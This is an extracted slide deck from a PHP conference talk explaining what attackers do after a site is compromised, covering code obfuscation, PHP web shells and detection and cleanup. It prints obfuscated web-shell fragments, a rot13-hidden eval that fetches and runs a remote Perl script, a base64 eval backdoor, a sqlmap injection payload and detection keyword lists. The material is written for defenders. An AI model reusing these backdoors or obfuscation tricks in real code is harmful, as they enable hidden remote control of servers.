Code obfuscation, php shells & more
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WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE (AND HOW YOU CAN DETECT & FIX IT)
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Code obfuscation, php shells & more
- 1. CODE OBFUSCATION, PHP SHELLS & MORE WHAT HACKERS DO ONCE THEY GET PASSED YOUR CODE (AND HOW YOU CAN DETECT & FIX IT) @mattiasgeniar #phpbnl14-24/1/2014,Edegem
- 2. WHAT'S THIS TALK ABOUT? Whathappens when I gethacked? What's code obfuscation? Whatare PHP shells? Show me some clever hacks! Prevention Post-hack cleanup
- 3. WHAT IS THIS _NOT_ ABOUT? How can I hack awebsite? How can I DoS awebsite? How can I find myinsecure code?
- 4. WHO AM I? Mattias Geniar System Engineer @ Nucleus.be (wemayhaveaccidentallystartedahugestressballfightlastyear) Ex-PHP'er, ORM hater, mostlyaLinux guy
- 5. WHO ARE YOU? AnyLinux knowledge? Ever had asite compromised? Ever tryto hack your own site?:-) Who was atthis talk @ phpbnl14?
- 6. WHY DO I GET HACKED? To stealyour data Intermediate hostto attack others Actas aC&C server Send outspammails ...
- 7. WHAT HAPPENS (TO MY SERVER) WHEN I GET HACKED? Malicious file uploads Localfile modifications SQL injections (to modifyDBcontent) SQL injections (to stealyour data) ... and manymore things
- 8. TYPICAL ATTACKER WORKFLOW Remote scan website for vulnerabilities (95%automated) Havij,Nessus,Skipfish,SQLmap,w3af,ZedAttackProxy,... Abuse vulnerability(file upload, RFI, SQLi, ...) Mostlymanual,attacksurfacenarrowedbyscans Profit!
- 9. FOCUS OF THIS TALK File upload abuse: whatcan you do with PHP? Formuploadvulnerability,stolenFTPpasswordsetc. SQL injections NOT THE FOCUS Cross-Site Scripting(XSS) Authentication bypassing Cross-Site RequestForgery(CSRF) ... Check OWASP.orgfor more fun!
- 10. FILE UPLOADS Obvious ones hackscript.php remote-shell.php Random file names x51n98ApnrE_Dw.php e8AnzRxn5DSMAn.php Attempts to "blend in" contact.php wp-version.php image.php / thumbnail.php
- 12. SQL INJECTIONS: GET CONTENT INTO YOUR DB injectiframes injectscript-tags steal(admin) cookies You'llonlynotice itwhen browsingthe site.
- 13. SO .... WHAT DOES 'MALICIOUS PHP CODE' LOOK LIKE?
- 16. YEP, YOU GUESSED IT. <?php ... @error_reporting(0);@ini_set('error_log',NULL);@ini_set('log_ errors',0);if(count($_POST)<2){die(PHP_OS.chr(49).chr(48) .chr(43).md5(0987654321));}$v5031e998=false;foreach(array _keys($_POST)as$v3c6e0b8a){switch($v3c6e0b8a[0]){casech r(108):$vd56b6998=$v3c6e0b8a;break;casechr(100):$v8d777f 38=$v3c6e0b8a;break;casechr(109):$v3d26b0b1=$v3c6e0b8a; break;casechr(101);$v5031e998=true;break;}}if($vd56b6 998===''||$v8d777f38==='')die(PHP_OS.chr(49).chr(49).chr (43).md5(0987654321));$v619d75f8=preg_split('/,(+)?/', @ini_get('disable_functions'));$v01b6e203=@$_POST[$vd56b6998 ... ?>
- 17. THERE'S PRETTY CODE TOO, THOUGH. JUST NOT AS OFTEN.
- 18. OBFUSCATION TECHNIQUES Whyhide the code? Legit Preventreverse engineering Protectproprietarycode ZendGuard,SourceGuardian,...requirePHPextensionstodecrypt Accidentally Lack of experiencefrom the dev Simple problems solved in ahard way Malicious Preventcode from beingfound Hidebackdoors in backdoors Hidetrue purpose of script
- 19. OBFUSCATION TECHNIQUES Remove whitespace if(isset($_GET["t1065n"])){ $auth_pass =""; $color ="#df5"; $default_action ="FilesMan"; $default_use_ajax=true; preg_replace("/.*/e","x65x7..."); } Becomes if(isset($_GET["t1065n"])){$auth_pass="";$color="#df5";$default_action= "FilesMan";$default_use_ajax=true;preg_replace("/.*/e","x65x7...");}
- 20. OBFUSCATION TECHNIQUES Replacements! $string="mysecretkey"; Obfuscated: $string= chr(109).chr(121).chr(32).chr(115).chr(101).chr(99).chr(114) .chr(101).chr(116).chr(32).chr(107).chr(101).chr(121)); $string="x6ex6fx20x6fx6ex65x20x63x61x6ex20x72x65x61x64x20". "x74x68x69x73x2cx20x6dx75x61x68x61x68x61x21"; $string=gzinflate('??/JU(J?K??U(I?('); Also works with bzip, gzencode, urlencode, UUencode, ... Attacker can send the ASCIIchars via$_POST, code can 'decrypt'byrunningord($_POST['val']).
- 21. OBFUSCATION TECHNIQUES Character substitutions with str_rot13 (oranyself-madeletterreplacementalgoritm) $string='somerandompieceofcode'; $encoded=str_rot13($string); #$encoded=fbzrenaqbzcvrprbspbqr $decoded=str_rot13($encoded); #$decodedisagain=somerandompieceofcode So if you're evil... $a="rkrp('jtrguggc://fvgr.gyq/unpx.cy;puzbq+kunpx.cy;./unpx.cy');"; eval(str_rot13($a)); exec('wgethttp://site.tld/hack.pl;chmod+xhack.pl;./hack.pl');
- 22. OBFUSCATION TECHNIQUES Run eval() on encoded strings $code='echo"Inception:PHPinPHP!";'; eval($code); The encoded version becomes: $code='ZWNobyAiSW5jZXB0aW9uOiBQSFAgaW4gUEhQISI7IA=='; eval(base64_decode($code); Image this on a100+ line PHP script. base64_encode()itall and run itin eval().
- 24. OBFUSCATION TECHNIQUES Inception! $_ ='CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZG'. 'Vjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0='; $__ ="JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7"; $___="x62141x73145x3664x5f144x65143x6f144x65"; eval($___($__)); Actuallymeans ... $_ ='if(isset($_POST["code"])){ eval(base64_decode($_POST["code"])); }'; $__ ='$code=base64_decode($_);eval($code);'; $___="base64_decode"; eval($___($__));
- 25. TIME FOR SOMETHING LESS CRYPTIC ... Or:thefunyoucanhavewhenyoucanuploadyourownPHPfile(s)
- 26. PHP SHELL SCRIPTS WSO Web Shell C99 shell R57 shell ... Monolithic app: PHP, Javascript, Perl, images, ... Accessed bysimplybrowsingto http://$site/path/to/script.php http://$site/uploads/script.php
- 27. WHAT DO THOSE SHELLS DO? Usuallycontains authentication/authorization
- 28. WHAT DO THOSE SHELLS DO? Contains some kind of ACL if(!empty($_SERVER['HTTP_USER_AGENT'])){ $ua=$_SERVER['HTTP_USER_AGENT']; $userAgents=array("Google","MSNBot"); if(preg_match('/'.implode('|',$userAgents).'/i',$ua)){ header('HTTP/1.0404NotFound'); exit; } } #OrbyIP,cookies,$_POSTvalues,...
- 29. BUT ONCE YOU GET IN ... :-)
- 30. WEB SHELL BY ORB File listing Remote shells Server info ...
- 31. FULL CONSOLE Limited to user runningPHP Limited bythe php.iniconfig Can read allyour configs
- 32. REMOTE SHELLS ~$telnet10.0.2.231337 Connectedtolocalhost. Escapechracteris'^]'. sh-4.1$ls-alh total84K drwxrwx---2xxxhttpd4.0KJan2117:17. drwxrwx---4xxxhttpd4.0KJan2117:25.. -rw-r--r--1xxxhttpd 74KJan2116:562x2.php -rw-r--r--1xxxhttpd 0Jan2117:17look_mom_imma_winning_the_internetz sh-4.1$
- 33. REMOTE SHELLS Requires perl(standard ... everywhere?) Gets forked to the background Can be _real_painful
- 34. BIG DEAL ... YOU CAN'T DO ANYTHING! ... CAN'T I?
- 35. COMPILE YOUR OWN EXPLOIT? sh-4.1$gccexploit.c-oexploit sh-4.1$chmod+xexploit sh-4.1$ls-alhexploit -rwxrwxr-x1xxxxxx6.3KJan2117:38exploit sh-4.1$./exploit
- 36. START A BITCOIN MINER?
- 37. WHAT ELSE IN THIS WEB SHELL BY ORB? Zip/Tar.gz manager Brute force ftp/mysql/... Search system for files .mysql_history,.bash_history,*.conf,... Similar to R75 shell, C99, ...
- 38. C99 SHELL Even has afeedback form!
- 39. WHAT THEY HAVE IN COMMON GUI stolen from a90's h4ck0rz movie Allsingle page apps Made to dumb-down the user (presets etc.) Offer same kind of tools/scripts/exploits
- 40. HACKERS PROTECT THEMSELVES Add aself-updatecommand Add aself-destructcommand Make multiple copiesof itself Obfuscate its own code with random data Add to cronto restartscript
- 41. HOW TO PROTECT YOURSELF Server-sidevscode-wise As adev... Don'ttrustyour users Whitelist(don'tblacklist!) file extensions in upload forms Safe:$whitelist=array('jpg','jpeg'); Unsafe:$blacklist=array('php','cgi');#Willstillallowperl(.pl) code Never use eval() As asysadmin... Don'tallow PHP execution from uploads directory (easilyblockedinwebserverconfigs) Mountfilesystems with noexecoption Virus-scanalluploaded files Block 'dangerous'php functions
- 42. BLOCK PHP EXECUTION FROM UPLOADS DIRECTORY (we'lltakeApacheasanexample) Wheneverpossible,don'tuse.htaccessfilesbutsetitinyourmain/vhostconfiguration <Directory/var/www/vhosts/mysite.tld/httpdocs/uploads> <FilesMatch"(?i).(php|phtml)$"> OrderDeny,Allow DenyfromAll </FilesMatch> </Directory>
- 43. BLOCKING DANGEROUS PHP FUNCTIONS (dependsonyourdefinitionofdangerous) php.ini: disable_functions Onlydisables internalfunctions, no user-defined ones Can notbe overwritten later (duh) disable_functions=show_source,exec,system,passthru,dl,phpinfo,... eval()is alanguage construct, notafunction. Can notbe blocked in disable_functions. Check outthe suhosin patch to disable this.
- 44. YOUR ACCESS & ERROR LOGS ARE GOLDEN Thesearenormalaccesslogs... ---"GET/account.phpHTTP/1.1"20017333"https://site.be/script.php?id=NGE5OTI7N2BlbT ---"GET/images/pages/account.gifHTTP/1.1"2001668"Mozilla/5.0(WindowsNT6.2;WOW ---"GET/images/pages/account_companycontacts.pngHTTP/1.1"2003392"Mozilla/5.0(Win ---"GET/images/pages/account_contacts.gifHTTP/1.1"2001765"Mozilla/5.0(WindowsNT ---"GET/account_orders.phpHTTP/1.1"20021449"Mozilla/5.0(WindowsNT6.2;WOW64;r ...
- 45. YOUR ACCESS & ERROR LOGS ARE GOLDEN Thesearenot... GET/my_php_file.php?query_param=1%20AND%202458=CAST%28CHR%2858%29%7C%7CCHR%28 112%29%7C%7CCHR%28100%29%7C%7CCHR%28118%29%7C%7CCHR%2858%29%7C%7C%28SELECT%20 COALESCE%28CAST%28uid%20AS%20CHARACTER%2810000%29%29%2CCHR%2832%29%29%20FROM %20db.table%20OFFSET%206543%20LIMIT%201%29%3A%3Atext%7C%7CCHR%2858%29%7C%7CC HR%28104%29%7C%7CCHR%2897%29%7C%7CCHR%28109%29%7C%7CCHR%2858%29%20AS%20NUMER IC%29HTTP/1.1"200554"-""sqlmap/1.0-dev(http://sqlmap.org)" Or ... GET/my_php_file.php?query_param=1AND2458=CAST(CHR(58)||CHR(112)|| CHR(100)||CHR(118)||CHR(58)||(SELECTCOALESCE(CAST(uidASCHARACTER(10000)), CHR(32))FROMdb.tableOFFSET6543LIMIT1)::text||CHR(58)||CHR(104)|| CHR(97)||CHR(109)||CHR(58)ASNUMERIC)HTTP/1.1"200554"-"
- 46. VERIFY IPS VS. USER-AGENTS 46.165.204.8--[15:16:55+0100]"GET/images.phpHTTP/1.1"200175"-" "Mozilla/5.0(compatible;Goooglebot/2.1;+http://www.google.com/bot.html)" ~$whois46.165.204.8 ... org-name: LeasewebGermanyGmbH ...
- 47. BLOCK SQL-INJECTION AS A SYSADMIN This can neverbe your onlydefense. This justhelps make it harder. You can acton URL patterns KeywordslikeCHR(),COALESCE(),CAST(),CHR(),... You can acton HTTP user agents Keywordslikesqlmap,owasp,zod,... Installa"Web Application Firewall" (opensource:mod_securityinApache,security.vclinVarnish,ModSecurityinNginx,5GBlacklist,...)
- 48. BLOCK BRUTE FORCE ATTACKS Ifanapplicationuseriscompromised,theycoulduploadmaliciouscontent. In the application: block usersafter X amountof failed attempts On the server: tools like fail2ban, denyhosts, iptables, ... Extend common tools: fail2banto detectPOSTfloods via access/error logs (ie:10POSTrequestsfromsameIPin5s=ban)
- 49. STAY UP-TO-DATE Witheverything. Update 3rd party libraries: ckeditor, tinymce, thumbnailscripts, ... Tripple-checkanythingyoutookfromtheinternet. Update your frameworkthatcould have securityfixes Update your OS & applications (limittheprivilegeescalationexploitsiftheappiscompromised) Update your personalknowledge / experience CheckoutOWAS,tryoutfreevulnerabilityscanners,hackyourownsite,...
- 50. BUT WHAT IF YOU FIND YOU'VE BEEN HACKED ...
- 51. POST-HACK CLEANUP Or:howtofindthehack Search for suspicious filenames Check your access/error logs (Ifyoufounduploadedfiles,usethetimestampsforamoreaccuratesearch) Check your cronjobs on the system Demsneakybastards... Search allsourcecode for keywords like: eval, base64_decode, wget, curl,... Use sytem tools for scanningmalware like: Maldet, ClamAV, rkhunter, tripwire, ... (youmayneedtopokeyoursysadmin-thesecanrunasdaemons)
- 52. POST-HACK CLEANUP Take adatabase dump and search for keywords like: iframe, script, ... Take alonglook again atallthe prevention methods we talked aboutearlier. Patch the code Prepare yourself to reinstallyour entire server Ifyou'reunsurehowfartheattackerwent,assumetheygotrootaccess. Ifthat'sthecase,don'ttrustasinglesystembinary. ~$mysqldumpmydb>mydb.sql ~$grep-i'iframe'mydb.sql ~$grep-i'...'mydb.sql